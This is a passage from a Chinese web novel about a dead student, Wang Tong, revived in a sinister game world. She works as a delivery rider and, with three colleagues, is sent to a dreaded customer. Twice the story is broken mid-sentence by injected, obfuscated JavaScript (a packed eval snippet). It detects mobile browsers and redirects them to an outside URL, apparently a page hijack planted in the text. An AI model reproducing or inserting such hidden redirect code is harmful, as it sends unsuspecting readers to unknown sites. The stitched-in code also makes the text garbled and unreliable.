《您的订单已送达》 1. 楔子 身为总系统，001没有自己的情绪，但这不妨碍它可以进行思考。比如现在001正紧盯着一个拱起的雪堆进行头脑风暴。雪堆上有三个洞——洞里露出两个鼻孔，一张嘴。躺在雪堆下一动不动，隐约是个人形的东西正是不久前被它传送过来的新玩家——汪橦。 汪橦被001传送时姿势不佳，辅一落地便倒栽葱似的落入积雪里。001费牛鼻子劲把晕过去的人喊醒后，就看见对方艰难地翻个身，用手刨出三个可供呼吸的洞，再也不动弹。 双方莫名陷入片刻沉默后，汪橦似乎终于有了力气，没头没脑地来了一句：“我想起来了。” 汪橦是出了车祸后才来到这里的。作为一名22岁的普通女大学生，在考研一战失败后，毕业回家的她面临来自家人和生活的双重压力。于是她决定在白天进行考研二战的复习，夜晚则出去兼职外卖配送员。 最初这个决定也被汪橦家里人质疑过—— 外卖员很辛苦，即便是兼职也是要花上夜间四到六个小时，有这个时间去打工不如多复习考研内容。汪橦一个女生，家里人多多少少都会担忧她的人身安全。 但是汪橦仍然坚持自己的决定，直到三天前一个转弯，她和另一辆直直冲出来的摩托车相撞。她破破烂烂的二手小电驴哪受得住这种撞击，接下来的事，汪橦唯一的印象就只有“嘭！”的一声后，自己好像飞了起来。 晕过去仿佛只是一瞬间的事。后来嘛，不分现实与幻想的走马灯在她眼前疯狂闪烁，她听见脑中有一道冰冷的机械音响起。那道声音对她说—— 【预备玩家汪橦你好，我是***游戏总系统001号。欢迎你的到来！只要你愿意和我签下这份玩家协议，通关***游戏里的十二个副本后，你就能在这个世界重新复活】 “如果我不签呢？我已经死了吗？” 【检测到预备玩家汪橦的意识即将在一分三十秒后彻底消散，希望你能尽快决定】 汪橦知道她别无选择，径直同意参与这个游戏。至于这个游戏叫什么？她当时意识实在不清醒，系统说话的电流声滋滋不休，也就没能听清。 “我快冻死了。这就是你说的传送到游戏中？”回过神来，汪橦抛出问题。 【这是一个意外，下次不会再发生。另外玩家汪橦目前并没有正式进入游戏副本，你此刻正处于游戏外的大世界。三分钟后救援队会赶到并救出玩家汪橦】 “什么意思？这个游戏里还有大世界和副本之分？这是开放世界游戏吗？” 【不，你被拉入的游戏是类线性的通关游戏，你需要通过十二个主线任务副本和十二个支线任务副本，总共二十四个副本后才能返回地球。而你现在正处于一个被投放了二十四个游戏副本的世界里，这个世界是真实存在的，并不是游戏内部的大世界】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806237|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好吧，”汪橦继续问道，“那我的初始装备呢？”她开始用手去刨开眼睛上方的雪堆，由于五分钟前她翻身时已经松动了大部分雪堆，所以只需很快的几下，汪橦便重见天日。 【玩家汪橦，请问你为什么刨开雪堆后还要闭着眼睛】 001觉得这个人类玩家的举动十分有趣。 “因为我不知道我之前脑袋埋地埋了多久，现在贸然睁开眼睛容易受伤。” 【你很谨慎，希望进入副本以后你仍然可以保持这份优良的品质】 “所以你还没告诉我，我的初始装备呢？” 【由于本游戏通关奖励丰厚，每位通关玩家不仅可以顺利返回地球，还能将游戏所得积分转化为金钱、寿命、健康，因此不会给予有助于玩家通关的任何初始装备。本游戏旨在考验玩家的个人素质】 汪橦不可置信地放大了瞳孔，考虑到游戏的难度系数，正常情况下游戏官方都会给玩家初始装备吧。副本是一次性的，但是大世界不是啊。如果不给初始装备比如金钱、食物、储物背包，那自己岂不是还得在这个世界打工？！汪橦没钱…… “系统？系统哥？” 游戏系统沉默。 在汪橦深情地大声呼唤下，她成功地吸入过多冷空气，一时缓不过来，再次以头抢地。幸运的是，在昏过去的前一秒，她耳畔恍惚传来遥远的直升机机翼快速旋转的声音。 2. 游戏开始 太阳照亮这个世界的每一寸污秽之地，却从未被污染。阳光在春日里对人们慷慨解囊。 汪橦打着呵欠从员工宿舍里走出来，伸了一个大大的懒腰。被雪山救援队救起后，根据她穿来的原身身份，她被带回这个原身工作的城市。现在她来到这里已经三天。 前三天汪橦毫无悬念地通过外卖员的试用期，今天是自己作为这个世界最大外卖公司的正式员工上任的第一天。她表面风轻云淡实际上内心忐忑。 从雪山获救以后，汪橦在送往城市里最大的医院的救护车上醒来，挣扎着要求下车——她没有钱进医院……然后在再三保证自己绝无后遗症的情况下，她签下了救援队无责任承诺书，被热心的救援队队员们秉承着“送佛送到家”的原则，找到原身的家庭住址，送回这间小小的员工宿舍里。 三天前，汪橦站在门口茫然地注视着这间宿舍内部，不到十平方米的室内让人一览无余：一张目测长不过一米八，宽一米二的铁架单人床，一个立式铁衣柜，还有一个小卫生间，竟是连张桌子也没有。汪橦草草探索了一番，只在衣柜里属于自己的夹克外套口袋中摸出一张印有她大头照的员工宿舍门禁卡…… 总而言之，异世界也有个汪橦，此汪橦正是彼汪橦。 汪橦认为自己被这个世界量身定制了一个合理的可以融入这里的身份——外卖员汪橦。不同于现实中她只是个兼职大学生，在三天尝试融入这里于是选择兢兢业业的打工试图转正的汪橦在今天正式成为了世界最大外卖配送平台公司——好特快公司的正式员工。 好特快公司分东中西部三大区，汪橦所在地公司隶属于好特快公司中区的下属泥呷市支公司。支公司自然没有总部气派，它选址在这个城市的四环外，而员工宿舍离四环更远一些，所以汪橦得坐上班车后再倒一班轻轨才能赶到公司。 好特快公司核心业务有三项，分别是好特快外卖服务、本地闪送闪购和到店酒旅票务。近年来围绕着市民们日益增长的对美好方便快捷的日常生活的需求，好特快公司还拓宽了跨市服务范围，提供市民个人买菜、餐饮供应进货等囊括大中小订单，消费端和供应端的多元化服务。 泥呷市地处中部大区的核心地带，堪称交通枢纽。尽管城市外围被茫茫沙海包裹，但内城却俨然是一座充满高科技的现代化都市。 由于沙漠城市地表昼夜温差大，正午时分尤其酷热，相比之下汪橦这几天都选择傍晚的时候去公司报道，然后接单配送。 好特快公司的报道制度宽松，事实上，员工可以自由选择值白天夜晚两班。当然，在毒日头下配送对外卖员的身心是一种考验，尤其是泥呷市内城外城加起来面积不小，在整个中区都是排前三的大城市，所以好特快公司按照公司员工数量给每一位外卖员配置了大于实际外卖员人数的专用高科技配送摩托和货车，实现了全天候多地形下外卖员的全方位适应。 汪橦从小居在寄宿学校读书到大，家境普通，所以寒暑假没有几次单独地出远门只是为了旅行的经历。泥呷市的景色在她眼中特别有异域风情。 城市外围是延绵起伏的沙浪，铺满了纯净的金黄色细沙，触感绵软细腻，捧在手中如日光倾泻而下。夜间天边火烧云退去，清冷的月光洒在沙浪上，又变成一片茫茫的银海。荒漠植被如灌木、半乔木成块状分布，这里一丛，那里一簇，偶尔一点绿意装点整个世界的荒芜。空气中弥漫着热气，形成层层叠叠的热浪打在人身上，前仆后继，像是热情妖媚的红唇女郎，邀请你探索这片神秘广阔的天地。 放眼望去，远处隐约有黄土泥巴堆成厚实的矮平方屋，这是这里的民居特色。和内城高密度聚集的居民区不同，泥呷市外城多住着收入不如内城的当地土著，由于水源关系，他们分散开，融进了外围的世界。 连接泥呷市外围，也可以说外城，和内城的，除了极为宽阔的柏油路外便是一条条轻轨，如灵活的银蛇穿梭在极高的城市天际线上。 轻轨上人并不多，汪橦找个位置坐下便开始摆弄自己头三天从数码市场上收的二手机。二手机是汪橦整整三天日结工资攒到一起堪堪买的。幸运的是，好特快的员工工资都不低，作为最底层的普通外卖员，她也可以支撑自己的日常生活开支。汪橦有一搭没一搭滑动着手机屏幕，等待手机页面刷新时悄悄观察四周。 “你听说那个了吗？” “嗯嗯！我知道，我知道。” 汪橦耳朵竖起来。那个？什么那个？ “我们明天放学去吃吧，我看小蓝书上说它家的新品牛肉木屑鞋油拌面很好吃。木屑量多，一筷子吃下去口感饱满，而且鞋油佐味，酸酸甜甜老开胃了。” “可以啊，我这里还有上次去吃领到的买一送一优惠券呢。” 汪橦迅速抬头看了一眼正在说话的两个女生，她们聊的兴高采烈，举手投足分明是两个没有烦恼、家境优渥的中学生。 为什么这么说？汪橦在这里待了三天发现一个事实—— 虽然这个世界基本算是一比一复刻正常人的世界，例如这个世界的通行货币单位也是“元”；但是就像那款“牛肉木屑鞋油拌面”一样，正常中掺杂了大量的不正常，而在这里这些不正常才是正常的。 比如说，这个世界也有汪橦生前爱吃的食物：番茄牛腩饭、鱼香肉丝盖饭，但是这些食物在这里都卖得贱价，被视为底层人的食物。而在汪梧桐看来十分怪异的食物比如上面的热销新款拉面却可以卖得十分昂贵，是那些家境优越的市民才能负担得起的。 很遗憾，汪橦三天的工资可以买一款二手机，却不能买一份大碗的牛肉木屑鞋油拌面，这就是这个世界神奇的物价水平。不过汪橦一向很乐观，起码这里还有她能吃的东西，而且她付得起；否则她不敢想她要怎么去吃石灰分子料理、鲜切遗脑。 总之，这是一个绝没有看起来那么正常的世界。 “下一站，好特快中区泥呷市支公司站到了。请各位乘客带好随身物品，准备下车。” 听到轻轨车厢的播报，汪橦回拢思绪，迅速起身走到车厢门前。待到轻轨门开的一瞬，她以迅雷不及掩耳之势跳到站台上，头也不回地向出口走去。 如果不是第一天就目睹一个在自己面前以正常速度下车的男士被突然关闭的车厢门夹成一条鱿鱼干般细长的尸体并被瞬间长出锯齿的厢门嚼碎，汪橦绝不会相信有活生生的轻轨能够随意杀死乘客并将其吞吃入腹。 汪橦整理着坐下时无意弄皱的衣摆，若无其事地模仿周围的行人。 “顺其自然，橦橦。”汪橦想起妈妈在自己考研出成绩那天对自己说的话。 每当她紧张时她就会想起自己母亲略带遗憾安慰，又平静温和的语气，然后整个人平复下来。汪橦不由得又开始想象母亲知晓自己噩耗后的表情，她还会保持这么平静吗？ 够了，汪橦强行止住自己的胡思乱想，自己今天太多愁善感，短短几十分钟的通勤就胡思乱想了好几次，以至于心里总有某种不好的预感。 踏进公司大门的一瞬，汪橦再次加深了这股要出事的直觉。她看见自己的领队正一脸严肃地和另一个身着西装梳着板寸的男人争辩什么。对方一看职级就比她们这些外卖员高得多，难道是公司内勤的经理？汪橦趁领队还在据理力争并未发现自己今天迟到了的事实，一溜烟跑进外卖员队伍中。 好特快公司的外卖员分两班配送白天和夜晚的订单。两班交接时，领队都会开一个五分钟短会。有时是单纯地喊口号，增加对公司的荣誉感、对职业的敬畏感；有时领队会带着他们复盘一下昨日配送时出现的客户投诉的问题，提出意见和改进措施。 虽然员工可以自由选择白天夜间上班，但是名额是有限的，否则极可能出现某个时间段没有人愿意配送的情况。公司规定每队必须十二个人上白班，十二个人上夜班。泥呷市支公司一共有三队，共七十二个外卖员负责全城的配送。带领汪橦的领队姓张，他们都喊他“张队”。 过了大约五分钟，领队结束和另一个男人的对话，匆匆走到十二个外卖员面前，面色凝重地开口说道：“你们今晚开始不用个人接单配送了”，汪橦右眼皮狠狠一跳，“公司给我们派了个大单，如果我们完成的好，这个季度的泥呷市支公司的最佳集体就是我们了。除了集体奖本身发给我们每人的奖金以外，财务还会额外给大家多一个月的基础工资作为绩效奖金。” 话音刚落，队伍便传出欢呼雀跃的声音，显然大家对奖金跃跃欲试。汪橦右眼皮跳得越发厉害，她心想到领队严肃的样子，说明这明显不是什么轻松可以完成订单配送的活，自己真是怕什么来什么。 尽管夜间人们体感温度更舒适，汪橦倾向于选择夜班。但对于好特快公司的外卖员来说，白班也有可取之处。为什么这么说？ 泥呷市支公司不止一次发生过夜间员工配送时失踪事件。相较之下，白天上班的好特快外卖员工几乎没有除交通事故外的风险。 最开始几周，陆陆续续有员工在配送订单的过程中失踪，不止客户没能收到物品，有时候商家也没有见到员工，成功交接物品。在对公司信誉和利润造成一定打击后，好特快公司官方报了警。警察查了城市监控，全无失踪员工的踪迹，就像是一个大活人出了公司原地蒸发掉，连尸体也没有。 后来泥呷市支公司出了一个规定，要求大家必须夜间两两结对出行配送。这个政策一出，好的效果很是持续了一段时间，再没有员工失踪。直到三个月后的某天夜晚……一个外卖员跌跌撞撞，浑身是血地冲进公司，语无伦次，手舞足蹈。警察来了以后询问和他结对的另外一位员工下落时，这位一直疯疯癫癫的外卖员周身突然安静下来，抬头咧开嘴，露出一个宛如小丑般诡异弧度的笑容—— 他轻描淡写地讲到：“啊，我想起来了。我不小心把他杀了。” 他的语气轻松平静，全然不见杀了人的恐慌和刚冲入大厅时的癫狂。 事情还没结束……第二天同一个时间，夜晚，被头一天这位员工宣称所杀死的另外那位员工以同样浑身是血的姿态冲进好特快泥呷市支公司的大厅。“我，我，我”，他慌张地说道：“我杀人了，我杀人了！” 当晚，警察赶来的路上，同时接到另一起报案。原来头一天晚上两位外卖员负责配送的订单的客户昨晚收到食物后吃下就回卧室睡觉，家人们一整天不见他的踪影，可今晚他的尸体却突然出现在客厅里。警察只得将两位外卖员全部带回公安局，但是第三天早晨醒来，被押在局里的两位外卖员统统消失无踪。 那夜间外卖员配送人数增加到三人一组呢？又出现两位外卖员联手杀死第三位外卖员，被警察捉拿后，宣称死掉的不是人，是怪物，在局里趁看守人员不注意，用磨尖的指甲抹脖自尽。真是怪事！ 一系列古怪的事情从泥呷市传到了好特快公司总部，为了公司，总部拍板要求从泥呷市开始推行，以后夜间外卖员配送时必须四人一组，此后再也没出现过先前的怪事了。当然，公司并未阻止有的外卖员想独挣配送费，选择上夜班时仍然一个人接单的情况。简言之，员工一个人非要作死，公司也不拦你。 毕竟这怪事几乎算得上只发生在好特快公司自己的员工身上，顾客是不会愿意为了和自己八竿子打不着的好特快公司员工支付更多的配送费的。所以原有的配送费不变，从一个人赚，变成了四个人平分，还没有算上好特快公司的抽成……基于此，也有很多养家糊口的外卖员仍然选择一个人跑夜班，哪怕为此承担失踪的风险。 不过好特快公司开发的APP上，订单处增添了一个功能，可以帮助顾客选择是“个人”还是“集体”配送。正如前面提到的，配送费不会增加，因此这个功能是希望从顾客处评估配送订单是否存在风险，假如有（比如客户住址离内城太远、深夜时分），那么顾客最好能够帮忙建议外卖员成四人小组进行配送，以保全自家员工的性命。 而现在，领队继续说工作的具体要求：“大家知道最近中州牛肉拉面连锁餐厅很受欢迎，但是偏偏泥呷市中州牛肉拉面连锁餐厅的商家自营配送服务近半个月来屡遭投诉，所以中州牛肉拉面连锁餐厅区域经理希望和我们公司合作帮助它们完成泥呷市的配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806238|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送工作。” “我手里有一份重点顾客名单，这几个顾客是长时间给出差评的难服务对象，所以公司上层决定让我们小队去送。这几个顾客每周都会点牛肉拉面，有人甚至一周七天中六天都吃，你们一定要认真对待，如果对方点单后我们却没能及时送达会造成很严重的后果。” 汪橦对领导用奖金画大饼的行为内心不齿，奈何也只敢在默默吐槽，而不敢当众质问既然这么重要，队长为什么不亲自配送。这份订单显然重要又具备危险，否则公司不会强制要求外卖员成四人一组配送。 领队开始分配每个人需要具体对接的顾客： “李峰、刘家栋、姚翔、陈素羲，你们四个负责何加部的订单；” “李鹑、李鹌，你们两兄弟干脆一队吧，还有董坤、钱逐昊，你们四个负责Cassandre的订单；” “汪橦、宋裴度、潘海祥、何兆地，你们负责李莉的订单。” “张队，怎么还有个外国人啊？俺们都不晓得英文可咋办？”第二小队的李鹌、李鹑举着手臂大声问道。 两兄弟脸上还带着憨厚的笑，汪橦看到他们傻乎乎的样子不禁也有点想笑，提起的一口气略放下些。领队挠挠头，略带懊恼，“糟糕，忘了这茬。不过咱们只需要将他点的单送到对方家门口，不需要交谈。你们如果真遇到什么问题，在工作群里问。” “收到！”大伙儿大声地回复，而后四人一组的骑上摩托车往各自负责的顾客所在区域的中州牛肉拉面连锁餐厅驶去。 汪橦因为刚到这个异世界没多久，今天才是她第四天工作，所以并不熟悉泥呷市的街道。她怕被看出什么端倪，便控制着速度，稍稍落后另外三位的车子，一路顺利地跟着宋裴度、潘海祥、何兆地三人骑到了餐厅门口。 “哎，你们晚饭吃了吗？”打头阵的潘海祥最先停放好了车子，转头询问后面三个人。 汪橦摇了摇头，虽然员工宿舍旁边有专门的食堂，但是她今天走得晚并没有去吃饭。前方的宋裴度笑着回复了一句他已经吃过了。汪橦下意识看向宋裴度—— 宋裴度着实惹眼。他身形颀长，白皙的脸颊上有一双冷清的眼睛，明明他的眼睛又大又黑，是一双让人心生好感的杏眼，可总让人爱慕的同时又担忧他眼神里透露出的冷漠。他微卷的栗色的头发配着红唇，气色红润饱满，偏偏唇角略向下，像是一直抿着。若是不笑，他的神情阴郁，光影落在他眉骨和鼻梁的转折处，衬托得他鼻梁高挺而两颊削进阴影里，整张脸甚至有些阴鸷暴戾。 汪橦第一天上班就注意到了他。今天还是汪橦第一次这么近距离的接触宋裴度，她真的很奇怪宋裴度为什么要老老实实地和自己一样当一个外卖员，尤其是对方的气质在一众外卖员里格外突出，着实不像需要忙碌赚钱养家的苦孩子。 不过汪橦没敢瞎打听，对方不笑时候的那张脸唬人得紧。再者说，大世界归大世界，自己是要下游戏副本尽快复活回家的人，没有心思天天八卦。汪橦在心里默念大世界的人都是NPC…… 鉴于一旁的何兆地和汪橦、潘海祥三人都没有吃晚饭，宋裴度选择候在车旁随时盯着手机上的订单配送通知，他们三则就地在拉面店解决晚饭。 晚间六七点的时候往往正是饭点，店里人满为患，惟一一个在前厅招呼客人、点单、通知后厨、上菜的员工还是老板本人。 这家中州牛肉拉面连锁餐厅的老板长得人高马大，脸上横肉挤在一起，提拉出迎客的笑容。但在老板听到三人默契地点了同一份最普通的牛肉拉面时，笑容霎时垮了，冷着脸对后厨大吼：“03桌的客人，三碗牛肉拉面！” 不到五分钟，拉面就上了桌。汪橦三人也不想吃到一半就要去送外卖，于是三个人二话不说抽出筷子搅弄碗里风云，一阵风卷残云竟是两分钟就干完了各自面前的面食。 此时宋裴度那边还是没有显示任何订单信息。潘海祥便大声喊老板过来结账。 老板从看见汪橦三人只点了三份最便宜的面时便态度冷淡下来，上菜时也是把碗“吭哧”重重一放便走了。此时看见他们三个如此快速要出店面不耽误自己做生意的缘故，竟又堆笑过来收拾。 汪橦趁此机会拉住老板衣袖，开口询问道：“老板，我们是好特快公司的外卖员。请问你这里是遇上了一位名叫李莉的顾客的长期投诉对吗？” 店内空气仿佛霎那间凝滞，周遭多人热闹吵杂的声音忽然消失。 老板怔愣了一瞬，紧接着神色开始不自然起来，腰一扭竟是想甩开汪橦径直转身走人，可扭了几度又仿佛想起什么令他恐惧的事，一身肥肉狠抖了一下凝固在原地，以一个别扭的姿势和汪橦扯住衣袖的那只手僵持住。 汪橦肉眼可见老板那堆满全脸的□□此刻不住地抽搐，心里打起了鼓： 我们的制服他可能不认识，所以态度冷淡。但是我们提到给他带来困扰的客户，他为什么表情这么奇怪？甚至……不安呢？难道不该高兴我们被派来帮忙送饭吗？ 汪橦又问：“老板你能说一下为什么李莉对你们自营的配送服务不满意吗？” 老板闻言更是止不住抽搐的嘴角，他喉头滚动，一开口声音粗涩，难听得像在砂纸上滚了一遭：“她自然是嫌我们配送时间太长，速度太慢了……”，紧接着他恶狠狠道，“哪儿来那么多废话！你少问东问西的！一个外卖员，照做就是了！” 说罢把手臂一扯，猛甩开汪橦的手，如果不是汪橦坐得靠墙，怕是会被劲道带得跌倒在地上。 老板转身的那刻她又开始听到四周顾客们的各式动静——碗筷声、聊天声、后厨开火声，咕噜刮喇，热闹得仿佛刚刚的死寂一片是汪橦的错觉。 汪橦无语地揉了揉太阳穴，抱怨道：“什么人啊……真是好心没好报。” 话虽如此，汪橦心里的鼓点愈发密集，她从下午上班开始的不安感正在不断加重。这个老板绝不仅仅是简单地瞧不起她们外卖员或者嫌恶她话多还吃得便宜，因为汪橦刚才从老板语气的颤动中敏锐地感知到—— 对某种恐怖事物的极度恐惧！ 3. 古淹泥潭（1） 汪橦很忐忑，可坐她对面的那两个大老爷们—— 潘海祥、何兆地不以为意地摆摆手，大剌剌地安抚她道：“小汪，你可能是第一天上班有些紧张。我们一会儿送货的时候不就知道了？” “老潘说的对，我看啊，你是太想把事做好。我们出去和小宋一起等着吧。” 反手带上玻璃门，汪橦看向宋裴度，对方摇摇头，显然李莉还没有下单点餐。四人便守在各自的摩托车旁等待…… 谁也没料到这一等就等了四个小时……中间等得他们百无聊赖，潘海祥甚至掏了根烟出来抽，可烟都抽到头了，四人的手机还是没有发出任何提示音。 更深露重，困倦在四人间蔓延。汪橦悄悄打了个哈欠。 “我说……”，何兆地突然犹犹豫豫开口打破周围的寂静，“这个李莉这么晚都不吃东西，今天会不会就没有订单了？我们要不然提前下班开溜？这，又不允许我们今晚接其他人的单，又一直不来活，我白天觉还没睡够，想回去补觉。” 汪橦还没说话，旁边的潘海祥就出声：“你小子，想得挺美。现在也才十二点多，要是她凌晨两点过突然下单，我们都回去睡觉了，谁给她送？你想害我们被系统……明天全挨领队骂是吧？” 汪橦敏锐捕捉到一个特殊的词汇“系统”，正在这时潘海祥及时打住，也打断了她继续思考。 “我，我不是那个意思！你，你，其实你也想走了对吧？” “放屁！老何，你以为我是你吗？不上班，我哪里来的烟抽？” 何兆地是个老实人，潘海祥一句粗口的“放屁”让他恼怒，明明他只是提议，凭什么潘海祥就对自己骂骂咧咧，同时何兆地又有点对自己没能很好地反击回去的懊悔，一激动便结巴地辩白，脖子梗起，表面的皮肤都被他挣得泛红。 至于潘海祥原本就是个大老粗，此刻不耐烦地想要找个什么出口宣泄的情绪笼罩着他，自然也颇面红耳赤。汪橦还未劝和二人，一道宛如溪流般能抚平人内心烦躁的清冷悦耳的声音插入进来。 “有空想偷懒，不如想想拉面店明明从晚上十点起就再也没人进出，为什么还一直亮着灯？餐厅难道也和我们一样在等着李莉的订单吗？”一直看着手机的宋裴度此时终于移开目光，视线投向他们。 听见他的话，潘海祥和何兆地刚刚还紧张的气氛异样地平复回来。宋裴度说罢举起手臂指向就离她们不到五米远的餐厅大门，“我第一次遇见有饭店老板不打烊愿意等一个长期投诉给自己带来麻烦的客人点餐。这说明什么？” 汪橦顺着宋裴度手指的方向看去，又退了几步，想看清餐厅四周的环境。 黑夜宛若深渊充满了死寂幽深，整条街像一团黑洞源源不断地吸收周围的热气。漆黑中惟有餐厅的亮光闪耀，可不知为何，众人却像动物一样本能地回避再次进入那里。 店家陆陆续续在十点前拉下铁帘门，收摊打烊。下午饭点时还是热热闹闹的商业街，人群密集，熙熙攘攘。宋裴度出声后就立马闭上了嘴，潘海祥、何兆地也安静下来，汪橦本就没开口。现在，四人都不说话以后，仅仅是站在那里，什么动作也不做，终于觉察到一丝不对劲。 只有这家中州牛肉拉面连锁餐厅在方圆几百米的浓墨中凸显出耀眼的光亮。这并不是让旅人在夜晚看见一家开着的店感觉温暖的光，它阴恻恻地仿佛要吞吃入腹掉每个被它蛊惑走近的旅人。 汪橦赶紧揉了揉胳膊上起的一层鸡皮疙瘩，再揉了揉眼睛，试图以自己尚存的意志对抗四周的浓墨下那唯一一处光亮对自己的诱惑，否则她怕自己控制不住地想走进店里。 潘海祥与何兆地各自拢紧衣领，没有心情再重复毫无意义的争论。 汪橦思考了几秒，认为之前在餐厅与老板的一番对话有必要告知宋裴度一声，便简单地说了说对话经过和老板奇怪的反应。 宋裴度听罢，眉头微蹙，之前持无所谓态度的潘海祥和何兆地见此情状也正经了神色。 汪橦下结论说： “我认为老板怕李莉！” “一个餐厅老板对一个长期投诉自己的客人竟然有如此明显的畏惧情绪，实在奇怪。你们有谁见过餐厅老板怕得罪一个普通客人吗？这也能侧面说明为什么这个人的订单需要我们四个外卖员一起送。” 宋裴度点头补充道： “我同意汪橦。大家都看到了，餐厅加上我们外卖员，一群人不睡觉就为了等待李莉的订单。” “试问一个普通顾客对餐厅影响可以这么大吗？明明有自营的外卖服务，老板却不惜多花一笔钱请平台来配送。我认为这一切都说明李莉是这家餐厅得罪不起的人。” 潘海祥插嘴道：“那我们这周配送的时候打起精神，不要失误不就好了吗？或许李莉是食品督查官也说不定，所以餐厅才怕得罪她就被关门审查。” 汪橦敏锐地捕捉到“督查官”这个词，刚来这个世界的她甚至没有完整了解过整个世界行政机构体系呢，汪橦默默掏出手机在备忘录上记了一笔以提醒自己回宿舍后查阅相关资料。 何兆地也参与进了讨论：“不，我刚刚网上搜了一下政府部门职务公示，泥呷市的食品督查官没有一个叫李莉的女性。” “也许是李莉背后有人？比如她亲朋好友是食品督查官之类……”潘海祥重重地叹了口气，“我们好好履行自己外卖员的职责就好，没必要在意李莉和餐厅老板的纠葛吧。李莉难道还要投诉我们……” “叮！” 话未说完，四人手机都传来相同的提示音。那是四人手机上好特快外卖员专送APP的获得订单的提醒音。四人赶紧点开摇动着的蓝标APP： 【姓名：李莉 收货人虚拟号码保护中，外卖员不可见。送达地点后请外卖员直接点击此处图标，即可拨通收货人电话。 订单：中州牛肉拉面连锁餐厅（池塘区）-牛肉拉面一份 地址：泥呷市池塘区第七大道古淹社区第九幢楼009号室 备注：一定要亲自送到门前等我拿到哦。】 “叮！”APP界面信息刚跳出来，老板就像一堵急速移动的墙蹿到众人面前，将打包严实的面递给离他最近的何兆地手上。 “一份？！”潘海祥先惊讶地喊出口，“那没必要我们四个都去！” 老板瞥了潘海祥一眼对刚刚听到的话不置一词，只是立刻蹿回餐厅门后，“砰！”，众人只见餐厅的灯光，熄灭了。 “老板也太迫不及待了……”四人汗颜。 潘海祥看了看旁边的何兆地说：“你不是困了想先回去睡觉吗？既然只点了一份，我一个人送绰绰有余。” 汪橦看向何兆地，他正不好意思地挠头，显然潘海祥虽然说话不中听，但实际行动上对何兆地还是有着细致的关心。 不过，何兆地也知道这份订单绝对会有危险，如果就这么撂手回去，他也不会是一个说话唯唯诺诺的老实人了。夜已深，何兆地坚持要陪潘海祥一同前去送外卖。 宋裴度和汪橦则提着对李莉的十二分心眼——既然领队分成几人一组，那么便不会是一个人就可以应付交差的任务，也坚持四人一道骑上摩托往李莉的住址驶去。 泥呷市内城共分四个区：池塘区、草坪区、花园区、椰林区。花园区按照地理上的城市规划讲，算是泥呷市的CBD，池塘区和草坪区是居民区，椰林区是工业建设区。泥呷市内城GDP是中部大区所有城市中的第一，黑夜笼罩下是璀璨夺目的霓虹，建筑高耸入云，金碧辉煌的商场与酒店恢宏壮丽，每个人身处其中像是折服于工业创造下的渺小存在，不复本身作为建造者一员的伟大。 众人一路风驰电掣，骑了快半小时抵达古淹社区，此时离系统预计骑手到达时间竟还有一半时长。众人放下心来，他们已隐隐觉察出李莉恐怕是一位挑剔的顾客，准时未必让她给好评，但是迟到肯定会被她打差评的。此刻见时间还充裕，大家心下不由都松了一口气。 众人骑到古淹社区发现除开一旁象征性的石墙上挂了一块“古淹社区”的金属装饰牌表明这里确实是古淹社区，没有大门门禁，没有保安确认他们的骑手身份。石墙中间的大马路径直畅通连接了社区内。 潘海祥掏出手机地图显示的导航信息，喃喃道：“这就是富人区吗？果真有格调。看看这开放式的社区设计……” 听罢此话，汪橦好奇地东张西望。古淹社区在池塘区林立的居民建筑物里都属最为奢华的一批。 可此刻从马路入口望去，社区内一团漆黑，连个路灯都看不见。古淹社区和之前的黢黑商业街仿佛在一个图层，而他们骑来的路上看见的城市面貌仿佛是另一个正常的图层。 汪橦顺手一摸旁侧的石墙，咦？湿漉漉的。是露水的缘故吗？汪橦下意识说出口。 潘海祥、何兆地正要伸出手，被宋裴度制止：“别乱摸！” 宋裴度停顿了一下复开口道：“该走了。这里太黑了，大家骑慢点。” 汪橦摩挲了一下刚刚碰到墙面的那根手指头，黏腻的触感，好奇心上瘾，她趁三人不注意，赶紧将指头放在鼻尖闻了闻——天呐！这味！ 汪橦知道自己此刻表情管理一定失控了，早知这露水的味道这么腥，她就不鬼鬼祟祟地又摸又闻。幸好古淹社区黑得像一团乌云，没人注意她干了一件猥琐的小事。汪橦没有在意地掏出纸巾擦了擦手，重新蹬上了摩托脚刹。 等等！ 电光火石的一瞬间，汪橦猛然察觉到什么，她立马回头看向石墙。 就在刚刚她转身骑上车的一瞬，她忽然感受到后脑勺传来一股强烈的充满恶意的凝视。她很确定那凝视的恶意有多么强烈、浓厚，如果可以化作实质，汪橦恐怕已经毙命。背上现在立起来的鸡皮疙瘩证明这不是她的错觉。 汪橦抿起嘴，她死死盯着石墙恨不得盯穿一个洞——什么也看不出，她深吸一口气闭眼、睁眼再看，那股凝视似乎发现自己已经被察觉到，悄然褪去，隐于夜幕之后。所入汪橦眼里的黑夜似乎化作流动的黑雾，撕拉过她的眼皮—— “啧。”汪橦不耐烦地感受到右眼皮上传来的突突突的震动感。 何兆地车后筐里放着面，自然他骑在最前面，其余三人散散地跟着他骑。汪橦落在三人斜后方，心情烦躁不安。 古淹社区的开放式社区设计使得他们不费一番功夫便找到了第九幢楼。事实上，作为富人区，这里每幢楼都是一个独栋，从一号楼到九号楼就是001到009，整整齐齐沿着宽阔的马路两侧坐落。每幢楼前都有一片大花园，从大马路侧下来得先穿过花园的篱蕃沿着石板小路弯弯绕绕才能到达独栋的前厅门廊。 